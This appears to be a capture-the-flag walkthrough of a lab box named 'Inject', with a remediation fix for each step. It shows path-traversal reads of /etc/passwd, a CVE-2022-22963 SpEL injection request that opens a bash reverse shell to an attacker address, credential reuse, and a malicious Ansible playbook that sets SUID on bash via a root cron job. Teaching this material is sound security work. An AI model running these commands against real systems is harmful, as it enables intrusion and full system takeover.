← all walkthroughs

Inject

Linux· Easy· Privilege Escalation
owned
2026-07-06
time to own
8m30s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I discovered a Spring Boot file-upload application on port 8080 whose image-viewer endpoint accepted a raw user-supplied filename with no path validation, allowing unauthenticated traversal to any file on the server. By reading the application's Maven build file through that same flaw, I identified a critically vulnerable Spring Cloud Function version (CVE-2022-22963) and exploited a server-side Spring Expression Language injection at the /functionRouter endpoint to gain remote code execution as the 'frank' service account.

Sensitive credentials for a second user, phil, were found in a plaintext Maven settings file stored in frank's home directory. Authenticated as phil — a member of the 'staff' group — I found that a root-owned cron job periodically executed every Ansible playbook in a directory writable by that group, enabling a trivial one-step privilege escalation to full system control.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"

Attack path — how the box was taken

1EnumerationService and web-application fingerprinting (T1046)
Scanned the target and mapped a Spring Boot web application on port 8080
A port scan revealed two open services: SSH on 22 and a Spring Boot web application on 8080 branded as 'Zodd Cloud'. The application offered a file-upload feature and an image-viewing endpoint at /show_image?img=, which passed a user-supplied filename directly to a server-side file read with no input sanitization — a classic unvalidated path parameter.
Nmap identified OpenSSH 8.2p1 on 22/tcp and the Spring Boot HTTP service on 8080/tcp; browsing to port 8080 revealed the Zodd Cloud upload interface with the /show_image viewer.
Exact commands 2
Service-version and default-script scan against the two open ports.
nmap -sV -sC -p 22,8080 $TARGET
Confirm the web application and locate the upload and image-view endpoints.
curl -s http://$TARGET:8080/
2ExploitationPath Traversal / Local File Inclusion (CWE-22)
Read arbitrary server files via path traversal in the image-viewer endpoint
The /show_image?img= parameter performed no validation on the supplied value, allowing directory-traversal sequences (../../) to escape the intended image directory and open any file the application process could read. I read /etc/passwd to enumerate local accounts (confirming users frank and phil) and then retrieved the application's pom.xml build descriptor to identify its exact dependency tree.
/etc/passwd confirmed local users frank and phil; /var/www/WebApp/pom.xml was returned in full via the traversal.
Exact commands 2
Traverse out of the image directory and read /etc/passwd to enumerate users.
curl -s "http://$TARGET:8080/show_image?img=../../../../../../etc/passwd"
Retrieve the Maven build file to identify all third-party dependency versions.
curl -s "http://$TARGET:8080/show_image?img=../../../../../../var/www/WebApp/pom.xml"
FixValidate and confine the image-viewer filename parameterHigh
WeaknessThe /show_image?img= endpoint used a raw user-supplied value directly in a server-side file read with no boundary check, letting any unauthenticated caller traverse to any file the process could access — including application source code and build descriptors containing sensitive version information.
FixResolve the supplied filename to a canonical absolute path (Java: Paths.get(base).resolve(input).normalize().toRealPath()) and verify the result starts with the designated uploads base directory before opening it. Return a generic HTTP 400 for any path that escapes the boundary; never reflect the resolved path in error responses. Additionally, consider serving uploaded files through a dedicated blob store (S3, object storage) so the application process has no general filesystem read access at all.
3ExploitationVulnerable third-party component identification via exposed build metadata (T1195)
Identified a critically vulnerable Spring Cloud Function version in the disclosed build file
The pom.xml fetched in the previous step declared spring-cloud-function-web version 3.1.6. This version is affected by CVE-2022-22963, a CVSS 9.8 Spring Expression Language (SpEL) injection vulnerability that allows any unauthenticated caller to execute arbitrary OS commands by placing a crafted SpEL expression in the spring.cloud.function.routing-expression HTTP header sent to the /functionRouter endpoint.
Pom.xml line: <artifactId>spring-cloud-function-web</artifactId> / <version>3.1.6</version> — within the vulnerable range < 3.1.7 / < 3.2.3.
Exact commands 1
One-liner to confirm the vulnerable version directly from the server response.
curl -s "http://$TARGET:8080/show_image?img=../../../../../../var/www/WebApp/pom.xml" | grep -A2 'spring-cloud-function'
4ExploitationServer-Side Expression Language Injection — CVE-2022-22963 (T1059)
Exploited CVE-2022-22963 SpEL injection to execute a reverse shell as frank
A POST request to /functionRouter with a SpEL expression in the routing header caused the Spring runtime to evaluate the expression as Java code, executing an OS command that opened a reverse bash shell to my listener. The session landed as the 'frank' low-privilege service account — confirmed by the uid returned.
Listener received connection; id returned uid=1000(frank) gid=1000(frank).
Exact commands 2
Start a reverse-shell listener on my machine before sending the exploit.
nc -lvnp 4444
Replace $ATTACKER_IP with your HTB VPN IP. The SpEL expression is evaluated server-side and spawns the reverse shell.
curl -s -X POST "http://$TARGET:8080/functionRouter" -H 'spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1"})' --data-raw 'pwn'
FixUpgrade Spring Cloud Function to a version that patches CVE-2022-22963Critical
WeaknessSpring Cloud Function 3.1.6 evaluates the value of the spring.cloud.function.routing-expression HTTP header as a Spring Expression Language expression, handing any unauthenticated HTTP caller arbitrary server-side code execution with no additional prerequisites.
FixUpdate spring-cloud-function-web to 3.1.7+ or 3.2.3+ in pom.xml and redeploy. If an immediate upgrade is blocked, remove or firewall-restrict the /functionRouter endpoint and apply the vendor workaround (disable SpEL-based routing). Integrate a software composition analysis tool (e.g., OWASP Dependency-Check, Snyk) into the CI pipeline to alert on newly disclosed CVEs in declared dependencies before they reach production.
5Post-ExploitationCredential discovery in configuration files (T1552.001)
Recovered phil's system password from a plaintext Maven settings file
Searching frank's home directory uncovered a hidden Maven configuration file at /home/frank/.m2/settings.xml. This file stored a server-authentication entry containing phil's account name and password in cleartext — a development convenience that was never removed before deployment. The user flag was also accessible from frank's account.
/home/frank/.m2/settings.xml contained <username>phil</username> and <password>[REDACTED: recovered credential]</password> in cleartext.
Exact commands 3
From the frank shell — search for configuration and settings files.
find /home/frank -name '*.xml' -o -name '*.yml' -o -name '*.yaml' 2>/dev/null
Read the Maven settings file; look for <server> entries containing credentials.
cat /home/frank/.m2/settings.xml
Read the user flag (value: <user.txt>).
cat /home/frank/user.txt
FixRemove cleartext credentials from application and user configuration filesHigh
Weaknessphil's system password was stored in cleartext inside /home/frank/.m2/settings.xml, a file fully readable by the frank process. Any code-execution foothold as frank immediately surfaced a second user's credentials, enabling lateral movement without any additional brute-force or cracking.
FixNever embed real passwords in configuration files. For Maven server credentials, use Maven's built-in encrypted-password mechanism (mvn --encrypt-master-password / --encrypt-password) or, better, inject credentials at build time from a secrets manager such as HashiCorp Vault or AWS Secrets Manager. Audit all files under /home and the application root for embedded secrets using a tool such as truffleHog or gitleaks, and rotate any discovered credentials immediately.
6Lateral MovementValid local account reuse (T1078.003)
Authenticated as phil using the recovered credentials
The cleartext password recovered from frank's settings file was a valid system credential for phil. Switching to phil's shell via su provided a fully interactive session under a new user context. Running id revealed the critical detail: phil is a member of the 'staff' group in addition to his own group — the foothold for the final privilege escalation.
Su - phil with password [REDACTED: recovered credential] succeeded; id returned uid=1001(phil) gid=1001(phil) groups=1001(phil),50(staff).
Exact commands 2
From frank's shell. Password: [REDACTED: recovered credential]
su - phil
Confirm group membership — the 'staff' group is the privilege-escalation vector.
id
7Privilege EscalationCron-executed writable directory abuse (T1053.003)
Planted a malicious Ansible playbook in a staff-writable directory to gain root via cron
Phil's staff group membership granted write access to /opt/automation/tasks/, a directory whose contents a root-owned cron job executed as Ansible playbooks on a regular schedule. I created a single YAML playbook in that directory instructing Ansible to add the SUID bit to /bin/bash. When the cron job next fired, bash became SUID-root, and invoking bash -p opened an effective-root interactive shell — completing full system compromise.
Find / -group staff -writable revealed /opt/automation/tasks/ writable by gid 50; pspy64 or /etc/crontab confirmed root running ansible-playbook /opt/automation/tasks/*.yml on a timer; /bin/bash -p yielded euid=0(root).
Exact commands 5
Discover all directories writable by the staff group.
find / -group staff -writable 2>/dev/null
Confirm the root cron job pointing at /opt/automation/tasks/.
cat /etc/crontab
Write the malicious playbook. Wait up to ~1 minute for the cron job to execute it.
cat > /opt/automation/tasks/pwn.yml << 'EOF'
- hosts: localhost
  tasks:
  - name: escalate
    ansible.builtin.shell: chmod +s /bin/bash
    become: true
EOF
Invoke SUID bash after the cron fires; -p preserves the elevated effective UID.
/bin/bash -p
Read the root flag (value: <root.txt>).
cat /root/root.txt
FixRemove group-writable permissions from the Ansible automation directoryCritical
WeaknessThe directory /opt/automation/tasks/ — whose contents root executed as Ansible playbooks on a scheduled basis — was writable by the unprivileged 'staff' group. Any user in that group could inject an arbitrary playbook and gain root code execution on the next cron cycle.
FixSet ownership to root:root and permissions to 0700 on /opt/automation/tasks/ (chown root:root /opt/automation/tasks && chmod 700 /opt/automation/tasks). If multiple operators legitimately need to deploy playbooks, introduce a dedicated deployment account with a tightly scoped sudo rule limited to specific verified playbook files, rather than granting group write on the watched directory. Periodically audit cron jobs and the directories they reference: find /etc/cron* /var/spool/cron -type f | xargs ls -la.

Exposed services

22/tcp
8080/tcp